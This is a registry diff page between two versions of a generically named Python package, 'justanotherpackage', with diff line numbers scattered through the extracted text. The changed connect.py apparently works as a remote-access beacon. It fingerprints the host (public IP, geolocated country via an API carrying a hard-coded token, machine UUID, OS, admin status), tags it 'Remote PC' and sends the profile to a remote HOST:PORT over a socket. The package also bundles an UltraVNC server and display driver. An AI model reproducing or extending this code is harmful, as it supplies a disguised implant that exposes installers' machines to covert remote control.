justanotherpackage 0.1.6__py3-none-any.whl → 0.1.8__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- justanotherpackage/connect.py +15 -20
- {justanotherpackage-0.1.6.dist-info → justanotherpackage-0.1.8.dist-info}/METADATA +1 -1
- {justanotherpackage-0.1.6.dist-info → justanotherpackage-0.1.8.dist-info}/RECORD +5 -5
- {justanotherpackage-0.1.6.dist-info → justanotherpackage-0.1.8.dist-info}/WHEEL +0 -0
- {justanotherpackage-0.1.6.dist-info → justanotherpackage-0.1.8.dist-info}/top_level.txt +0 -0
justanotherpackage/connect.py
CHANGED
@@ -3,7 +3,6 @@ import socket
|
|
3
3
|
import time
|
4
4
|
import platform
|
5
5
|
import ctypes
|
6
|
-
import threading
|
7
6
|
import requests
|
8
7
|
from wmi import WMI
|
9
8
|
|
@@ -20,10 +19,12 @@ def get_client_info():
|
|
20
19
|
system = platform.system()
|
21
20
|
version = platform.version().split('.')[0]
|
22
21
|
os = f"{system} {version}"
|
23
|
-
response = requests.get('https://
|
22
|
+
response = requests.get('https://ipv4.jsonip.com', timeout=5)
|
24
23
|
data = response.json()
|
25
24
|
ip = data.get('ip')
|
26
|
-
|
25
|
+
response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
|
26
|
+
data = response.json()
|
27
|
+
country_en = data['country']['names']['en']
|
27
28
|
|
28
29
|
client_info = {
|
29
30
|
"IP": ip,
|
@@ -31,7 +32,7 @@ def get_client_info():
|
|
31
32
|
"PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
|
32
33
|
"OS": os,
|
33
34
|
"Account Type": check_account_type(),
|
34
|
-
"Country":
|
35
|
+
"Country": country_en,
|
35
36
|
"Tag": "Remote PC",
|
36
37
|
}
|
37
38
|
return client_info
|
@@ -43,20 +44,14 @@ def start_connection(HOST, PORT):
|
|
43
44
|
client_socket.connect((HOST, PORT))
|
44
45
|
client_info = get_client_info()
|
45
46
|
client_socket.sendall(str(client_info).encode('utf-8'))
|
46
|
-
print(f"{client_info} sent to: {HOST}:{PORT}")
|
47
|
-
threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
|
48
|
-
handle_connection(client_socket)
|
49
|
-
except Exception as e:
|
50
|
-
print(e)
|
51
|
-
time.sleep(5)
|
52
|
-
finally:
|
53
|
-
client_socket.close()
|
54
47
|
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
48
|
+
while True:
|
49
|
+
data = client_socket.recv(1024)
|
50
|
+
if not data:
|
51
|
+
break
|
52
|
+
|
53
|
+
except (socket.error, ConnectionResetError):
|
54
|
+
time.sleep(1)
|
55
|
+
|
56
|
+
finally:
|
57
|
+
client_socket.close()
|
@@ -1,5 +1,5 @@
|
|
1
1
|
justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
|
2
|
-
justanotherpackage/connect.py,sha256=
|
2
|
+
justanotherpackage/connect.py,sha256=gaf3FfVJEvgyL1-sC9tIMxH-e5rqsj3OdUw7DcmqmvY,1672
|
3
3
|
justanotherpackage/core.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
4
4
|
justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
|
5
5
|
justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
|
@@ -10,7 +10,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
|
|
10
10
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
|
11
11
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
|
12
12
|
justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
|
13
|
-
justanotherpackage-0.1.
|
14
|
-
justanotherpackage-0.1.
|
15
|
-
justanotherpackage-0.1.
|
16
|
-
justanotherpackage-0.1.
|
13
|
+
justanotherpackage-0.1.8.dist-info/METADATA,sha256=JAvvIQaTiK5kH2kssyNAjOOh6YZ9KUn9ErasHm7yr6o,115
|
14
|
+
justanotherpackage-0.1.8.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
|
15
|
+
justanotherpackage-0.1.8.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
|
16
|
+
justanotherpackage-0.1.8.dist-info/RECORD,,
|
File without changes
|
File without changes
|